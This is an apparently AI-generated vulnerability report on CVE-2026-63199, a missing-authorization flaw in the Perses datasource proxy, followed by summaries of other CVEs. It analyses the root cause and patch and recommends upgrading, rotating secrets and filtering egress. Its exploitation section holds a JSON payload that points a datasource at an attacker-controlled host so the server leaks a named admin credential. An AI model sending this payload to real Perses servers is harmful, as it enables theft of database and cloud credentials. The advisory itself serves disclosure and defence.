CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-63199

CVE-2026-63199: Cross-Scope Secret Disclosure via Missing Authorization in Perses Datasource Proxy

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 19, 2026·7 min read·43 visits

Executive Summary (TL;DR)

A missing authorization check in Perses' datasource proxy allows low-privileged users to exfiltrate database and system credentials to external servers.

CVE-2026-63199 is a critical missing authorization vulnerability (CWE-862) in Perses versions 0.43.0 to 0.54.0-rc.0. It allows low-privileged attackers to retrieve and exfiltrate highly sensitive credentials (secrets) from different scopes by configuring a malicious datasource pointing to an attacker-controlled endpoint.

Vulnerability Overview

Perses is an open-source observability dashboard and visualization engine that enables teams to monitor infrastructure, database metrics, and application performance. To retrieve these metrics, Perses relies on configured 'Datasources'—connection definitions that bridge the dashboard panels with query backends such as Prometheus, SQL, or custom HTTP endpoints. Because these connections often require sensitive credentials, Perses implements a decoupled authorization model separating datasource usage permissions from secret reading permissions.

This decoupled architecture contains a critical missing authorization check (CWE-862) tracked as CVE-2026-63199. When executing ad-hoc connection tests or proxy queries with unsaved datasource configurations, the backend processes incoming connection definitions without verifying if the user is authorized to read the associated secrets. Consequently, an attacker possessing only datasource creation or configuration privileges can force the backend to resolve, decrypt, and forward arbitrary credentials to an external host.

The attack surface is exposed via the API gateway endpoints responsible for testing unsaved datasource configurations and executing proxy queries. Because these endpoints accept arbitrary plugin specifications in the HTTP request body, they serve as an oracle for credential resolution. An authenticated attacker with low privileges can exploit this behavior to compromise the confidentiality of credentials stored within any project or global scope, extending the impact beyond the boundaries of the Perses platform itself.

Root Cause Analysis

The root cause of this vulnerability lies in the lack of privilege isolation between the 'Datasource' operational scope and the 'Secret' storage scope during proxy resolution. In Perses, users may have permissions to define and execute query proxies using a datasource (DatasourceScope). However, they should not automatically have access to view or extract the underlying credentials (SecretScope or GlobalSecretScope) stored securely within the backend database or external vault.

When a user initiates an unsaved proxy request, the backend dynamically constructs a proxy client using the provided specification. This specification can include configuration blocks referencing encrypted secrets. Prior to the fix, the resolution handler resolved these secrets using simple getter closures that fetched the secret from storage and decrypted it on the fly. Crucially, this closure executed with system-level privileges or under the context of the datasource owner's permissions, completely bypassing the calling user's individual secret-read authorization checks.

This lack of contextual validation creates a classic cross-scope security boundary violation. The application relies on the implicit assumption that because a user has authorization to initiate a proxy connection, they also have authorization to utilize any secret specified within the proxy configuration. Because the backend does not validate whether the caller's session has permission to read the requested secret, the validation logic fails to prevent low-privileged users from targeting high-privileged secrets.

Code-Level Analysis

To understand the exact breakdown, we must analyze the dynamic proxy initialization logic within internal/api/impl/proxy/globaldatasource.go. Prior to the patch, the newProxy constructor accepted a secret-getter callback that resolved the secret without inspecting the user's current execution context. The vulnerable handler bypassed security boundaries by directly executing the database query wrapper without verifying caller capabilities.

// Vulnerable execution context
pr, err := newProxy(datasourceName, "", spec, path, e.crypto, func(name string) (*v1.SecretSpec, error) {
    // VULNERABLE: Direct database fetch without checking calling user's permissions
    return e.getGlobalSecret(datasourceName, name)
})

The fixing commit (2368c9ef4eb0a70fbca5df69aa20e595821ab625) corrects this flow by passing the HTTP request context (ctx) into the resolution pipeline. The resolver now executes an explicit permission check inside the retrieval closure, verifying that the user context possesses the ReadAction permission on the GlobalSecretScope or SecretScope before returning the decrypted secret.

// Patched execution context with explicit scope validation
return e.proxyGlobalDatasource(ctx, dtsName, body.Spec, func(name string) (*v1.SecretSpec, error) {
    // PATCHED: Enforce that the current user context has ReadAction on GlobalSecret
    if err := e.checkPermission(ctx, v1.WildcardProject, role.GlobalSecretScope, role.ReadAction); err != nil {
        return nil, err
    }
    return e.getGlobalSecret(dtsName, name)
})

Additionally, to prevent attackers from bypassing this check by saving a malicious datasource spec and querying it later, the service-layer validation function checkSecretPermission was introduced. This method inspects incoming datasource specifications for both HTTP and SQL plugins during creation and update cycles. If a secret configuration is present, it explicitly validates permissions, rejecting unauthorized configurations before they are persisted.

// Enforcing permissions during datasource persistence
if ok := s.authz.HasPermission(ctx, role.ReadAction, datasource.Metadata.Project, role.SecretScope); !ok {
    return apiInterface.HandleForbiddenError(fmt.Sprintf("missing '%s' permission in '%s' project for '%s' kind", role.ReadAction, datasource.Metadata.Project, role.SecretScope))
}

Exploitation Methodology

Exploitation of CVE-2026-63199 requires low-privileged authentication to the target Perses instance and network reachability of an attacker-controlled endpoint. The attacker does not need high-level administrative rights; they only need the ability to define a datasource within a project or trigger connection tests. The objective of the attack is to force the Perses server to decrypt a targeted secret and transmit it in plaintext to an external server.

The attack begins with the preparation of an external HTTP listener (e.g., using a public server or listener service). Next, the attacker constructs an HTTP POST request to the Perses unsaved proxy endpoint. In the request body, the attacker defines a datasource plugin specification (e.g., an HTTP proxy) pointing directly to their external listener URL, while referencing the target sensitive credential (such as administrative database credentials) within the secret field.

{
  "spec": {
    "plugin": {
      "kind": "PrometheusDatasource",
      "spec": {
        "directUrl": "http://attacker-controlled-server.com/log",
        "secret": {
          "name": "admin-database-creds"
        }
      }
    }
  }
}

Upon receiving this payload, the Perses server initiates the proxy workflow. It locates the secret named admin-database-creds from its database, decrypts the plaintext value, and injects it into the HTTP header (e.g., as a Bearer token or Basic Auth header) of the outgoing proxy request. The server then transmits the request to the attacker's server. The attacker's listener receives the incoming connection, complete with the decrypted credential in the authorization header, resulting in full credential disclosure.

Impact Assessment

The security impact of this vulnerability is classified as High, with a CVSS v4.0 base score of 8.3. The vulnerability represents a complete compromise of confidentiality for credentials managed by the Perses platform. Because Perses often integrates with core enterprise monitoring systems, database instances, and cloud APIs, the disclosed secrets could grant attackers unrestricted administrative access to critical downstream systems.

While the attack requires initial authenticated access, the privilege requirements are minimal. In larger environments with self-service dashboard creation, many users may possess the rights to create or test datasources. Furthermore, because the vulnerability allows exfiltration of credentials to external networks, it can easily lead to lateral movement and privilege escalation across the organization's broader infrastructure.

Importantly, the impact extends beyond the boundaries of the Perses system itself, resulting in subsequent system confidentiality compromise. An attacker who extracts a database credential or AWS API key from the secret store can pivot to those external environments directly, bypassing any firewalls or monitoring controls wrapped around the Perses UI. This makes the vulnerability highly attractive to sophisticated actors seeking access to internal storage backends.

Remediation & Residual Risks

The primary remediation for CVE-2026-63199 is upgrading to Perses version 0.54.0-rc.0 or later. This version introduces robust, contextual authorization checks during both dynamic proxy resolution and datasource configuration persistence, effectively closing the credential oracle.

Security administrators must also be aware of a critical temporal risk. The validator checkSecretPermission evaluates authorizations strictly at the time of datasource creation or update. It does not perform runtime permission checks when retrieving saved datasources. If a malicious datasource referencing an unauthorized secret was successfully created prior to the upgrade, the saved configuration can still be queried by unauthorized users, allowing credential extraction to continue post-upgrade.

To counter this residual risk, organizations must perform a thorough manual audit of existing datasources and credentials. Database administrators should rotate all secrets, API tokens, and passwords currently configured within Perses. Additionally, security teams should implement strict network-level egress filtering on Perses servers, preventing the application from initiating connections to unapproved external endpoints, which mitigates the exfiltration vector.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Affected Systems

Perses

Affected Versions Detail

Product
Affected Versions
Fixed Version
Perses
Perses
>= 0.43.0, < 0.54.0-rc.00.54.0-rc.0
AttributeDetail
CWE IDCWE-862 (Missing Authorization)
Attack VectorNetwork
CVSS Score8.3 (High)
EPSS Score0.00 (New/Unlisted)
Primary ImpactCross-Scope Secret Disclosure
Exploit StatusProof-of-Concept
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-862
Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

References & Sources

  • [1]NVD - CVE-2026-63199
  • [2]GitHub Security Advisory GHSA-4227-9989-jrhx
  • [3]Perses Fix Commit

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 12 hours ago•CVE-2026-62374
7.1

CVE-2026-62374: Silent Claim-Set Reduction and Verification Bypass in SD JWT JS

CVE-2026-62374 (GHSA-f9j6-8p6x-r9j6) is a verification bypass vulnerability in the OpenWallet Foundation SD JWT JS library (@sd-jwt/core and @sd-jwt/decode versions 0.19.0 and earlier). Due to permissive UTF-8 decoding and the omission of mandatory reference checks during presentation verification, tampered or unreferenced disclosures are silently dropped rather than rejected. This deviates from RFC 9901 §7.1 requirements and allows attackers to execute silent claim-set reduction attacks against relying parties.

Alon Barad
Alon Barad
7 views•10 min read
•about 13 hours ago•GHSA-J656-3HF2-FVJC
6.1

GHSA-j656-3hf2-fvjc: Read-Only SQL Validation Bypass via Comment Interpretation Conflict in Bytebase DBHub

An interpretation conflict in Bytebase DBHub (< 0.22.6) allows attackers to bypass read-only SQL query restrictions when connected to MySQL or MariaDB instances. Because DBHub's custom SQL tokenizer treats any '--' sequence as a comment, whereas MySQL and MariaDB require trailing whitespace or a control character, crafted queries containing '--' immediately followed by non-whitespace characters allow stacked destructive SQL statements to execute on connections configured as read-only.

Alon Barad
Alon Barad
6 views•9 min read
•3 days ago•CVE-2026-118777
4.8

CVE-2026-118777: Prototype Pollution in Forge HTTP Client Cookie Management

CVE-2026-118777 is a prototype pollution vulnerability (CWE-1321) in the Forge JavaScript cryptography and networking library (distributed on npm as node-forge) prior to version 1.4.1. The flaw resides in the forge.http client subsystem, where incoming HTTP cookie names and paths parsed from Set-Cookie response headers are stored directly into standard JavaScript objects without key validation or property isolation. By returning crafted Set-Cookie headers containing keys such as __proto__ or constructor, a malicious HTTP server can inject arbitrary properties into Object.prototype, attach attributes to the global Object constructor, or delete built-in prototype methods to cause an application-wide denial of service.

Amit Schendel
Amit Schendel
10 views•10 min read
•3 days ago•CVE-2026-118775
3.7

CVE-2026-118775: ASN.1 OID First Arc Truncation and Ambiguity in node-forge

CVE-2026-118775 (GHSA-4642-5mcj-2rqw) is an integer overflow and validation flaw in the ASN.1 serialization module of Forge (node-forge) prior to version 1.4.1. The asn1.oidToDer() function fails to validate the range of the first two arcs of an Object Identifier (OID) and truncates the packed initial subidentifier to a single 8-bit integer. Applications that perform policy checks on untrusted OID strings before encoding them into Distinguished Encoding Rules (DER) format can be tricked into emitting DER bytes that correspond to a completely different, restricted OID.

Amit Schendel
Amit Schendel
10 views•10 min read
•3 days ago•CVE-2026-119194
7.5

CVE-2026-119194: Algorithmic Complexity Denial of Service in pyasn1 Schemaless ASN.1 Decoder

CVE-2026-119194 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting versions 0.3.3 through 0.6.4. The flaw resides in the schemaless decoding routine ConstructedPayloadDecoderBase._decodeComponentsSchemaless used across BER, CER, and DER codecs. By sending an ASN.1 container populated with child components whose tag identifiers are separated by multiples of CPython's integer hash modulus (sys.hash_info.modulus), an unauthenticated attacker can force worst-case hash collisions in an unbounded Python set, degrading decoding performance from O(N) to O(N^2) and causing a Denial of Service (DoS).

Alon Barad
Alon Barad
9 views•9 min read
•3 days ago•CVE-2026-119195
7.5

CVE-2026-119195: Quadratic-Time Denial of Service in pyasn1 BER/CER/DER Decoders

CVE-2026-119195 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting all versions prior to 0.6.5. When decoding constructed strings or indefinite-length ANY types across BER, CER, and certain DER code paths, the payload decoders repeatedly concatenate incoming fragments onto an immutable bytes object using the += operator. Because Python bytes objects cannot be resized in-place, each fragment iteration allocates a new buffer and copies all previously accumulated bytes, resulting in quadratic O(N^2) time and memory copy complexity. An unauthenticated remote attacker can supply a highly fragmented ASN.1 stream to exhaust CPU cycles and stall application worker threads.

Amit Schendel
Amit Schendel
9 views•10 min read